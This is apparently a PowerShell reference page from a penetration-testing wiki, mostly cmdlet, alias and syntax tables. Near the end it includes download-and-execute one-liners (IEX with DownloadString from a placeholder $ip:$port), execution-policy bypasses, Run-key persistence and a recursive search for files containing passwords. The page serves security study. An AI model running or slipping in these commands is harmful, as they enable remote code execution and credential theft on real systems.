PowerShell

PowerShell Syntax

For PowerShell syntax examples see my scripting page here.

PowerShell Commands

In PowerShell, there are three main types of commands: cmdlets, functions, and aliases.

Cmdlets

Cmdlet is pronounced "command-let". They are instances of .NET classes, not stand-alone executables like in other shell environments. This makes it extremely easy for third parties to extend the functionality of PowerShell without compiling new binaries. Cmdlet names have the form "Verb-Noun" to make them easily discoverable (according to Microsoft anyway!).

Since cmdlets are an actual instance of a .NET class, the output from a command is a bit different than in a traditional command shell. Instead of the common standard-in and standard-out, PowerShell returns an object that contains a number of properties of which a select number are displayed depending on the cmdlet. Objects returned by a cmdlet often have many more discoverable properties and methods that can be manipulated and acted on by those with experience, through experimentation, or by reading the documentation. This makes it extremely powerful.

You can also use them in pretty much the same way as commands in a traditional shell environment without knowing any of this, though you will get much more out of it if you take the time to learn.

cmdlet verbs

Cmdlets are restricted to only a set list of verbs. Nouns can be whatever you want, but should follow Third party developers and scripters are encouraged by Microsoft to only use ones from this list for consistency, but PowerShell will not deny modules that use other verbs from running. The most common verbs are New, Get, Set, and Invoke, though there are many more. You can read more about this here.

The Three Core Cmdlets

If you know how to use these three cmdlets, you can figure out how to use any other cmdlet.

Run Get-Help $cmdlet_name -Examples for usage

Cmdlet

Alias

Description

gcm

Gets all currently installed PowerShell commands.

Displays basic help about cmdlets and functions, including examples. To get more advanced examples and information, the help index may need updating with Update-Help as it is not installed by default (may require admin rights). Similar to Unix man pages.

gm

Gets the properties and methods of objects.

Other useful cmdlets

Cmdlet Name

Alias

Description

Adds a signed app package to a user account.

Adds an app package (.appx) that will install for each new user to a Windows image.

Add the local computer to a domain or workgroup.

ac

Appends content, such as words or data, to a file.

Generates a new root key for the Microsoft Group KdsSvc within Active Directory.

Adds members to a local group.

Adds custom properties and methods to an instance of a PowerShell object.

Adds one or more PowerShell snap-ins to the current session.

Adds a.NET Framework type (a class) to a PowerShell session.

Installs a Windows capability package on the specified operating system image.

Adds a single .cab or .msu file to a Windows image.

clc

Deletes the contents of an item, but does not delete the item.

clv

Deletes the value of a variable.

compare, diff

Compares two sets of objects.

Confirms that Secure Boot is enabled by checking the Secure Boot status on the local computer.

cvpa

Converts a path from a PowerShell path to a PowerShell provider path.

Converts object properties in comma-separated value (CSV) format into CSV versions of the original objects.

Converts a JSON-formatted string to a custom object.

Converts a secure string to an encrypted standard string.

CFS

Extracts and parses structured properties from string content.

Converts a string containing one or more key and value pairs to a hash table.

Converts objects into a series of comma-separated value (CSV) variable-length strings.

Converts .NET Framework objects into HTML that can be displayed in a Web browser.

Converts an object to a JSON-formatted string.

Creates an XML-based representation of an object.

Converts encrypted standard strings to secure strings. It can also convert plain text to secure strings. Used with ConvertFrom-SecureString and Read-Host.

copy, cp, cpi

Copies an item from one location to another.

Disables a feature in a Windows image.

Configures the computer to receive remote commands.

Enables a feature in a Windows image.

Enables CredSSP authentication on a computer.

etsn

Starts an interactive session with a remote computer.

exsn

Ends an interactive session with a remote computer.

Exports a certificate from a certificate store into a file.

Creates an XML-based representation of an object or objects and stores it in a file.

epcsv

Converts objects into a series of comma-separated (CSV) strings and saves the strings in a CSV file.

Specifies the module members that are exported.

Exports a certificate or a PFXData object to a Personal Information Exchange (PFX) file.

Exports the layout of the Start menu/screen.

Exports all third-party drivers from a Windows image to a destination folder.

Finds software packages in available package sources.

%, foreach

Performs an operation against each item in a collection of input objects.

fc

Uses a customized view to format the output.

fl

Formats the output as a list of properties in which each property appears on a new line.

ft

Formats the output as a table.

fw

Formats objects as a wide table that displays only one property of each object.

Gets the security descriptor for a resource, such as a file or registry key.

gal

Gets the aliases for the current session.

Returns App-V Client Packages.

Gets a list of the app packages that are installed in a user profile.

Gets information about app packages (.appx) in an image that will be installed for each new user.

Gets information about the Authenticode signature for a file.

Gets the associated BitsJob object for an existing BITS transfer job.

Submits a certificate request to an enrollment server and installs the response or retrieves a certificate for a previously submitted request.

dir, gci, ls

Gets the files and folders in a file system drive.

Gets the CIM instances of a class from a CIM server.

Gets the current Windows clipboard entry.

Gets a consolidated object of system and operating system properties.

cat, gc, type

Gets the contents of a file.

Gets performance counter data from local and remote computers.

Gets a credential object based on a user name and password.

Gets the current culture set in the operating system.

Gets the current date and time.

Gets the events in the event queue.

Gets the events in an event log, or a list of the event logs, on the local or remote computers.

Gets the execution policies for the current session.

ghy, h, history

Gets a list of the commands entered during the current session.

Gets an object that represents the current host program.

Gets the hotfixes that have been applied to the local and remote computers.

gi

Gets files and folders.

gp

Gets the properties of a specified item.

gpv

Gets the value for one or more properties of a specified item.

gjb

Gets PowerShell background jobs that are running in the current session.

Gets the local security groups.

Gets members from a local group.

Gets local user accounts.

gl, pwd

Gets information about the current working location (directory) or a location stack.

gmo

Gets the modules that have been imported or that can be imported into the current session.

Returns a list of all software packages that have been installed by using Package Management.

Gets information about .pfx certificate files on the computer.

gps, ps

Gets the processes that are running on the local computer or a remote computer.

gdr

Gets drives in the current session.

gsn

Gets PowerShell session information on local and remote computers.

Gets the PowerShell snap-ins on the computer.

Gets a random number, or selects objects randomly from a collection.

Gets scheduled jobs on the local computer.

gsv

Gets the services on a local or remote computer.

Gets an object that contains information about a TPM.

gu

Returns unique items from a sorted list.

gv

Gets the variables in the current console.

Gets scheduled jobs on the local computer.

Gets Windows capabilities for an image or a running operating system.

Gets information about optional features in a Windows image.

Gets events from event logs and event tracing log files on local and remote computers.

gwmi

Gets instances of WMI classes or information about the available classes.

group

Groups objects that contain the same value for specified properties.

Imports one or more certificates into a certificate store.

ipcsv

Creates table-like custom objects from the items in a CSV file.

Imports a CLIXML file and creates corresponding objects in PowerShell.

ipmo

Adds modules to the current session.

Imports certificates and private keys from a Personal Information Exchange (PFX) file to the destination store.

ipsn

Imports commands from another session into the current session.

Imports the layout of the Start into a mounted Windows image.

Installs one or more software packages.

Installs one or more Package Management package providers.

Invokes a method of a CIM class.

icm

Runs commands on local and remote computers.

iex

Runs commands or expressions on the local computer.

ii

Performs the default action on the specified item.

irm

Sends an HTTP or HTTPS request to a RESTful web service.

curl, iwr, wget

Gets content from a web page on the Internet.

Calls WMI methods.

Combines a path and a child path into a single path.

Measures the time it takes to run script blocks and cmdlets.

measure

Calculates the numeric properties of objects, such as the counts of the characters, words, and lines in string objects, such as from text files.

mi, move, mv

Moves an item from one location to another.

Mounts a Windows image in a WIM or VHD file to a directory on the local computer.

nal

Creates a new alias.

Creates a CIM session.

Creates a new event log and a new event source on a local or remote computer.

ni

Creates a new item.

Creates a new property for an item and sets its value.

Creates a job trigger for a scheduled job.

Creates a local user account.

Creates an instance of a .NET or COM object.

mount, ndr

Creates temporary and persistent mapped network drives.

nsn

Creates a persistent connection to a local or remote computer.

Creates an object that contains advanced options for a PSSession.

Creates a new self-signed certificate for testing purposes.

Creates a new Windows service.

Creates a TimeSpan object.

nv

Creates a new variable.

Creates a Web service proxy object that lets you use and manage the Web service in PowerShell.

Sends the output to the default formatter and to the default output cmdlet.

Sends output to a file.

ogv

Sends output to an interactive table in a separate window.

oh

Sends output to the command line.

Deletes output instead of sending it down the pipeline.

lp

Sends output to a printer.

Sends objects to the host as a series of strings.

pushd

Adds the current location to the top of a location stack.

Reads a line of input from the console.

rcjb

Gets the results of the Windows PowerShell background jobs in the current session.

Subscribes to the events that are generated by a Microsoft .NET Framework object.

Creates a scheduled job.

Removes an app package from a user account.

Removes an app package (.appx) from a Windows image.

Removes the local computer from its domain.

del, erase, rd, ri, rm, rmdir

Deletes files and folders.

rp

Deletes the property and its value from an item.

rmo

Removes modules from the current session.

rdr

Deletes temporary PowerShell drives and disconnects mapped network drives.

rsn

Closes one or more PowerShell sessions.

rv

Deletes a variable and its value.

Deletes an instance of an existing Windows Management Instrumentation (WMI) class.

Renames a computer.

ren, rni

Renames an item in a PowerShell provider namespace.

Repairs a Windows image in a WIM or VHD file.

Resets the machine account password for the computer.

Performs a DNS name query resolution for the specified name. This cmdlet is functionally similar to the nslookup tool which allows users to query for names.

rvpa

Resolves the wildcard characters in a path, and displays the path contents.

Restarts, or "reboots", the operating system on local and remote computers.

Stops and then starts one or more services.

select

Selects objects or object properties.

sls

Finds text in strings and files.

Finds text in an XML string or document.

Sends an email message.

Changes the security descriptor of a specified item, such as a file or a registry key.

sal

Creates or changes an alias for a cmdlet or other command element in the current PowerShell session.

Adds an Authenticode signature to a PowerShell script or other file.

sc

Replaces the contents of a file with contents that you specify.

Sets the user culture for the current user account.

Changes the system time on the computer to a time that you specify.

Applies Local Configuration Manager settings to nodes.

Changes the current PowerShell execution policy.

si

Changes the value of an item to the value specified in the command.

sp

Creates or changes the value of a property of an item.

Modifies a local user account.

cd, chdir, sl

Sets the current working location to a specified location.

Turns script debugging features on and off, sets the trace level, and toggles strict mode.

Changes the properties of a registered session configuration.

Starts, stops, and suspends a service, and changes its properties.

Establishes and enforces coding rules in expressions, scripts, and script blocks.

Sets the system time zone to a specified time zone.

set, sv

Sets the value of a variable. Creates the variable if one with the requested name does not exist.

Sets the system locale (the language for non-Unicode programs) for the current computer.

Sets the language list and associated properties for the current user account.

Creates or updates an instance of an existing Windows Management Instrumentation (WMI) class.

Configures the local computer for remote management.

sort

Sorts objects by property values.

Returns the specified part of a path. Example: cd to file location:cd (Split-Path -Parent (Get-Command -Name pwsh).Path)

Creates a BITS transfer job.

Applies configuration to nodes.

sajb

Starts a background job in PowerShell.

saps, start

Starts one or more processes on the local computer.

sasv

Starts one or more stopped services.

sleep

Suspends the activity in a script or session for the specified period of time.

Creates a record of all or part of a PowerShell session to a text file.

Shuts down local and remote computers.

kill, spps

Stops one or more running processes.

spsv

Stops one or more running services.

Stops logging PowerShell history.

tee

Saves command output in a file or variable and also sends it down the pipeline.

Tests and repairs the secure channel between the local computer and its domain.

Sends ICMP echo request packets ("pings") to one or more computers.

Determines whether all elements of a file or directory path exist.

Tests whether the WinRM service is running on a local or remote computer.

Unblocks files that were downloaded from the Internet.

Uninstalls one or more software packages.

Downloads and installs the newest help files on your computer.

wjb

Suppresses the command prompt until one or all of the background jobs running in the PowerShell session are completed.

Waits for the processes to be stopped before accepting more input.

?, where

Selects objects from a collection based on their property values.

Writes a debug message to the console.

Writes an object to the error stream.

Writes an event to an event log.

Writes output to the console.

Specifies how PowerShell handles information stream data for a command.

echo, write

Sends the specified objects to the next command in the pipeline. If the command is the last command in the pipeline, the objects are written to the console.

Functions

TODO: (issue #25)

  • Break PowerShell Functions section up by Category

  • Add description of difference between cmdlets and functions

  • Add information about creating functions, anonymous functions

Run PowerShell scripts or C# code directly from the terminal!

Run Get-Help $function_name -Examples for usage

Function Name

Description

Category

Modifies settings for Windows Defender.

Security

Adds a VPN connection to the Connection Manager phone book.

Network

Adds a route to a VPN connection.

Network

Adds a printer to the specified computer.

Printer

Installs a printer driver on the specified computer.

Printer

Installs a printer port on the specified computer.

Printer

Cleans a disk by removing all partition information and un-initializing it, erasing all data on the disk.

Storage

Clears the display in the host program. Alias: clear or cls

Utility

Creates an archive, or zipped file, from specified files and folders.

Utility

Disables a binding to a network adapter.

Network

Enables encryption for a BitLocker volume.

Security

Enables a previously disabled firewall rule.

Security

Extracts files from a specified archive (zipped) file.

Utility

Finds modules from an online gallery that match specified criteria.

PoSh

Formats one or more existing volumes or a new volume on an existing partition.

Storage

Gets information about volumes that BitLocker can protect.

Security

Gets one or more disks visible to the operating system.

Storage

Gets DNS server IP addresses from the TCP/IP properties on an interface.

Network

Computes the hash value for a file by using a specified hash algorithm.

Utility

Gets one or more host bus adapter (HBA) initiator ports.

Network

Gets installed modules on a computer.

PoSh

Gets the basic network adapter properties.

Network

Gets the VMQ properties of a network adapter.

Network

Gets a connection profile.

Network

Retrieves firewall rules from the target computer.

Security

Gets IP network configuration.

Network

Gets the IP address configuration.

Network

Gets an IP interface.

Network

Gets TCP connections.

Network

Returns a list of all partition objects visible on all disks, or optionally a filtered list using specifiedparameters.

Storage

Gets a list of all PhysicalDisk objects visible across any available Storage Management Providers, or optionally afiltered list.

Storage

Returns information about PnP devices.

Hardware

Retrieves a list of printers installed on a computer.

Printer

Gets PowerShell repositories.

PoSh

Gets the task definition object of a scheduled task that is registered on the local computer.

SchTask

Gets run-time information for a scheduled task.

SchTask

Retrieves the connections established from the SMB client to the SMB servers.

SMB

Retrieves basic information about the files that are open on behalf of the clients of the SMB server.

SMB

Retrieves the SMB server configuration.

SMB

Retrieves information about the SMB sessions that are currently established between the SMB server and the associated clients.

SMB

Retrieves the SMB shares on the computer.

SMB

Retrieves the ACL of the SMB share.

SMB

Gets the names and AppIDs of installed apps.

Apps

Returns information about long-running Storage module jobs, such as a repair task.

Storage

Gets the list of cipher suites for TLS for a computer.

Network

Returns a list of VirtualDisk objects. This can be across all storage pools, across all providers, or optionally as a filtered subset.

Storage

Gets the specified Volume object, or all Volume objects if no filter is provided.

Storage

Retrieves the specified VPN connection profile information.

Network

Merges Windows Update .etl files into a single log file.

Security

Adds an allow ACE for a trustee to the security descriptor of the SMB share.

SMB

Downloads one or more modules from an online gallery, and installs them on the local computer.

PoSh

Invokes Pester to run all tests (files containing *.Tests.ps1) recursively under the Path

PoSh

Initializes a RAW disk for first time use, enabling the disk to be formatted and used to store data.

Storage

Mounts a previously created disk image (virtual hard disk or ISO), making it appear as a normal disk.

Storage

Creates a GUID.

Utility

Creates a new inbound or outbound firewall rule and adds the rule to the target computer.

Security

Creates and configures an IP address.

Network

Creates a new NIC team.

Network

Creates a NAT object.

Network

Creates a route in the IP routing table.

Network

Creates a new partition on an existing Disk object.

Storage

Creates a scheduled task instance.

SchTask

Creates a scheduled task action.

SchTask

Creates an object that contains a scheduled task principal.

SchTask

Creates a new scheduled task settings object.

SchTask

Creates a scheduled task trigger object.

SchTask

Creates an SMB mapping.

SMB

Creates an SMB share.

SMB

Creates a new storage pool using a group of physical disks.

Storage

Creates a new virtual disk in the specified storage pool.

Storage

Creates a volume with the specified file system.

Storage

Optimizes a storage volume.

Storage

Registers a PowerShell repository.

PoSh

Registers a scheduled task definition on a local computer.

SchTask

Removes an IP address and its configuration.

Network

Removes a physical disk from a specified storage pool.

Storage

Removes a printer from the specified computer.

Printer

Performs repairs on a volume.

Storage

Resizes a partition and the underlying file system.

Storage

Saves a module locally without installing it.

PoSh

Sets the current Windows clipboard entry.

Utility

Takes a Disk object or unique disk identifiers and a set of attributes, and updates the physical disk on thesystem.

Storage

Sets DNS server addresses associated with the TCP/IP properties on an interface.

Network

Configures preferences for Windows Defender scans and updates.

Security

Sets the basic network adapter properties.

Network

Sets the VMQ properties of a network adapter.

Network

Changes the network category of a connection profile.

Network

Configures settings that apply to the per-profile configurations of the Windows Firewall with Advanced Security.

Security

Modifies existing firewall rules.

Security

Modifies the configuration of an IP address.

Network

Modifies an IP interface.

Network

Sets attributes of a partition, such as active, read-only, and offline states.

Storage

Sets attributes on a specific physical disk.

Storage

Updates the configuration of an existing printer.

Printer

Sets values for a registered repository.

PoSh

Modifies a scheduled task.

SchTask

Sets the SMB client configuration.

SMB

Modifies the properties of the SMB share.

SMB

Sets the SMB Service configuration.

SMB

Changes the configuration settings of an existing VPN connection profile.

Network

Starts one or more instances of a scheduled task.

SchTask

Suspends Bitlocker encryption for the specified volume.

Security

Displays diagnostic information for a connection.

Network

Uninstalls a module.

PoSh

Unregisters a scheduled task.

SchTask

Downloads and installs the newest version of specified modules from an online gallery to the local computer.

PoSh

Updates a script.

PoSh

Aliases

There are many built-in aliases for the most commonly used cmdlets. The developers wanted to make cmd.exe and Unix users feel at home, so many of those basic commands will function in a similar way. Here are some commonly used examples. You can use the Get-Alias cmdlet to see the full list.

Cmdlet

Aliases

Get-ChildItem

  • ls

  • dir

  • gci

Get-Content

  • cat

  • type

  • gc

Set-Location

  • cd

  • chdir

  • sl

Check the Version of PowerShell

$PSVersionTable

Script Execution Policy

TODO: add short description about what this is and why it's important (issue #26)

Policy

Description

AllSigned

All .ps1 files must be digitally signed. PowerShell prompts the user to determine if files from the signing publisher should be run.

Bypass

Bypasses checks for whether files are signed, and internet origin is not verified.

Default

The default policies are Restricted (client systems) or RemoteSigned (Server 2016+)

RemoteSigned

All .ps1 files originating from the internet must be digitally signed. PowerShell prompts the user to determine if files from the signing publisher should be run. Allows local scripts and remote scripts if they are signed.

Restricted

All .ps1 files are blocked.

Undefined

There is no execution policy set in the current scope. Reverts to Default policy.

To view current execution policy check use the cmdlet Get-ExecutionPolicy. If no execution policy is set in any scope, the effective execution policy is Restricted, which is the default for client systems (Windows 10) or RemoteSigned (Server 2016+). **The policy can be changed with the cmdlet Set-ExecutionPolicy <PolicyName>.

ForExecution-Policy bypass methods for privilege escalation and so on see this section.

Environment Variables

Show all current environment variables in PowerShell: Get-ChildItem Env:

Also aliased to: dir env: or ls env: or gci env:

Environment variables can be echo'd or used in scripts by prefixing them with $env:. Ex:

echo $env:USERNAME
#bob

Convert cmd.exe environment variables to PowerShell:

%SYSTEMROOT% == $env:SystemRoot

You can assign values to Environment Variables without using a cmdlet using the following syntax:

$Env:$var = "$value"

Examples:

  • $env:username

  • $env:hostname

  • $env:path

If you set a value to a environment variable that does not exist, Windows will create it. You can use this to create your own custom environment variables.

You can also use the 'Item' cmdlets, such as Set-Item, Remove-Item, and Copy-Item to change the values of environment variables. For example, to use the Set-Item cmdlet to append ;C:\Windows\Temp to the value of the $Env:PATH environment variable, use the following syntax:

Adding a Folder to PATH

Set-Item -Path Env:PATH -Value ($Env:Path + ";C:\Windows\Temp")

In this command, the value $Env:Path + ";C:\Windows\Temp" is enclosed in parentheses so that it is interpreted as a single unit.

To append C:\Windows\Temp to the PATH , use the following syntax (note the (;) separator):

$Env:PATH += ";C:\Windows\Temp"

Add a folder to PATH using System.Environment methods

The System.Environment class provides GetEnvironmentVariable and SetEnvironmentVariable methods that allow you to specify the scope of the variable.

The following example uses the GetEnvironmentVariable method to get the machine setting of PSModulePath and the SetEnvironmentVariable method to add the C:\Program Files\Fabrikam\Modules path to the value.PowerShellCopy

$path = [Environment]::GetEnvironmentVariable('PSModulePath', 'Machine')
$newpath = $path + ';C:\Program Files\Fabrikam\Modules'

Working with Files

Find hidden files

Get-ChildItem -Force

Change file attributes

This can also be used to change file property flags such as Hidden, Archive, and ReadOnly.

$file = (Get-ChildItem $file_name) #can shorten command with gci, dir, or ls
$file.attributes #Show the files attributes
# Normal

#Flip the bit of the Hidden attribute
$file.attributes = $file.Attributes -bxor ([System.IO.FileAttributes]::Hidden)
$file.attributes
# Hidden

#To remove the 'Hidden' attribute
$file.attributes = $file.Attributes -bxor ([System.IO.FileAttributes]::Hidden)
$file.attributes
# Normal

Recursively search for files that contain a certain string

https://superuser.com/questions/815527/way-to-list-and-cat-all-files-that-contain-string-x-in-powershell - look for text in a file and lists its name and contents. These examples are looking for the word 'password'.

Shorthand (aliased) version:

ls -R|?{$_|sls 'password'}|%{$_.FullName;gc $_}

Remove ;gc $_ to only list the filenames. Then you can extract to Linux and use better text manipulation tools like strings and grep.

ls -R | ? { $_ | sls 'password' } | % { $_ ; gc $_ }

The above is expanded for visibility of the individual elements. The shorthand version is condensed for situations where characters are at a premium.

Full version:

Get-ChildItem -Recurse | Where-Object {(Select-String -InputObject $_ -Pattern 'password' -Quiet) -eq $true} | ForEach-Object {Write-Output $_; Get-Content $_}

Explanation:

# Get a listing of all files within this folder and its subfolders.
Get-ChildItem -Recurse |

# Filter files according to a script.
Where-Object {
    # Pick only the files that contain the string 'password'.
    # Note: The -Quiet parameter tells Select-String to only return a Boolean. This is preferred if you just need to use Select-String as part of a filter, and don't need the output.
    (Select-String -InputObject $_ -Pattern 'password' -Quiet) -eq $true
} |

# Run commands against each object found.
ForEach-Object {
    # Output the file properties.
    Write-Output $_;

    # Output the file's contents.
    Get-Content $_
}

Aside from the obvious use of aliases, collapsing of whitespace, and truncation of parameter names in the shorthand version, you may want to note the following significant differences between the "full" versions and the "condensed" version:

  • Select-String was swapped to use piped input instead of -InputObject.

  • The -Pattern parameter name was omitted from Select-String, as use of that parameter's name is optional.

  • The -Quiet option was dropped from Select-String. The filter will still work, but it will take longer since Select-String will process each complete file instead of stopping after the first matching line.

  • -eq $true was omitted from the filter rule. When a filter script already returns a Boolean, you do not need to add a comparison operator and object if you just want it to work when the Boolean is true.

    • Also note that this will work for some non-Booleans, like in this script. Here, a match will result in a populated array object, which is treated as true, while a non-match will return an empty array which is treated as false.

  • Write-Output was omitted. PowerShell will try to do this as a default action if an object is given without a command. If you don't need all the file's properties, and just want the full path on one line before the file contents, you could use this instead:

    • ls -R|?{$_|sls 'password'}|%{$_.FullName;gc $_}

Modifying the Registry

Here, HKCU:\Software\Microsoft\Windows\CurrentVersion\Run is given as the path (a popular persistence location!), but any path can be substituted.

# add a new key to registry:
New-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $key_name

# then set its properties with:
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -PropertyType String -Name $key_name -Value "$key_value"

# To edit a value that is already set:
Set-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $key_name -Value "$new_value"

MISC

PowerShell.exe location on disk

Windows PowerShell Executables File System Locations on 64-bit Windows

The default paths to the executables for PowerShell and PowerShell ISE on relevant 64-bit Windows operating systems:

When converting cmd.exe environment variables to PowerShell:

%SYSTEMROOT% == $env:SystemRoot

Name

Location

32-bit (x86) PowerShell executable

$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

64-bit (x64) Powershell executable

$env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell.exe

32-bit (x86) Powershell ISE executable

$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe

64-bit (x64) Powershell ISE executable

$env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell_ise.exe

Windows PowerShell Executables File System Locations on 32-bit Windows

The default paths to the executables for PowerShell and PowerShell ISE on relevant 32-bit Windows operating systems:

Name

Location

32-bit (x86) Powershell executable

$env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell.exe

32-bit (x86) Powershell ISE executable

$env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell_ise.exe

Downloading files with PowerShell (wget)

PowerShell version of wget:

powershell -c "(New-Object System.Net.WebClient).DownloadFile('$ip:$port/$file','$outfile'))"

You can also use the example below to save the file to the local machine.

wget https://zweilosec.gitbook.io/hackers-rest -OutFile C:\Windows\Temp\out.html

wget is an alias for Invoke-WebRequest. Adding -Outfile $out_file is needed to save the file to disk.

Retrieve file and execute remote code after downloading (in-memory!):

powershell -c "Invoke-Expression(New-Object System.Net.Webclient).downloadString('http://$ip:$port/$file')"

PowerShell Script Execution Bypass

TODO: Expand and clean up PowerShell Bypass section. Link to Windows Privilege Escalation page (issue #27)

Get the current PowerShell script execution policy with:

Get-ExecutionPolicy -List

Most likely this will be set to Restricted, but you need to have admin rights to change this (with one caveat later). So, in order to run scripts, you will need to use one of the following bypass methods.

Change Execution Method with -Scope CurrentUser

Set-ExecutionPolicy -Scope CurrentUser Bypass

You can change the Execution Policy for the current user by using the -Scope CurrentUser argument. This will still not allow you to run scripts in other contexts (such as in scheduled tasks), but all scripts run as the current user will now function just fine. This is the easiest bypass method but requires making a configuration change that could potentially be detected.

Copy and paste script code into PowerShell

The second easiest method is to simply copy and paste the code from the script into a PowerShell console. It may prompt you to verify that you intend to paste multiple lines, simply click "yes". As long as the code does not have any strange formatting that prevents it from running line by line, the whole script will run. If the script contains a function, you can continue to use this function simply by calling its name.

Echo the script code into PowerShell

This technique is similar to the previous, in that you must copy and paste the code from the script into a PowerShell console. However, you must prefix your code with the echo (Alias for Write-Output) command and then pipe the copied code into PowerShell.exe, like below:

echo Test-YourCode | PowerShell -NoProfile -

If your code contains multiple lines, quotes, or is contained within a function it may not execute properly, or at all. You will have to experiment with wrapping the code in quotes or escaping certain characters. This may seem like a pain, but the upside to this technique is that it requires no configuration changes, and the code is run entirely in memory.

Read the contents of a file and pipe code into PowerShell

Similar to the previous example, but with the major advantage of not having to do any complicated nested quoting or escaping to get the code to function normally. However, this technique does rely on the file being either on disk, or accessible through a network share.

Get-Content "\\RemoteComp\Test-YourCode.ps1" | PowerShell -NoProfile -

...more to come!

echo IEX(New-Object Net.WebClient).DownloadString(http://$ip:$port/$script_file) | PowerShell -NoProfile -

Silence PowerShell error messages

Many PowerShell cmdlets support the -ErrorAction SilentlyContinue attribute, which works similarly to using 2>/dev/null in Linux. However, this only works for that cmdlet, not the entire one-liner if you pipe output or use semi-colons, etc. This can be shortened to -EA Silently.

Unsorted...

PowerShell reverse shell and exploit scripts: nishang To learn how to use this tool check out Ippsec's video on youtube: Ippsec:HacktheBox - Optimum TODO: look up this tool and give examples and description

Resources

If you like this content and would like to see more, please consider buying me a coffee!

Last updated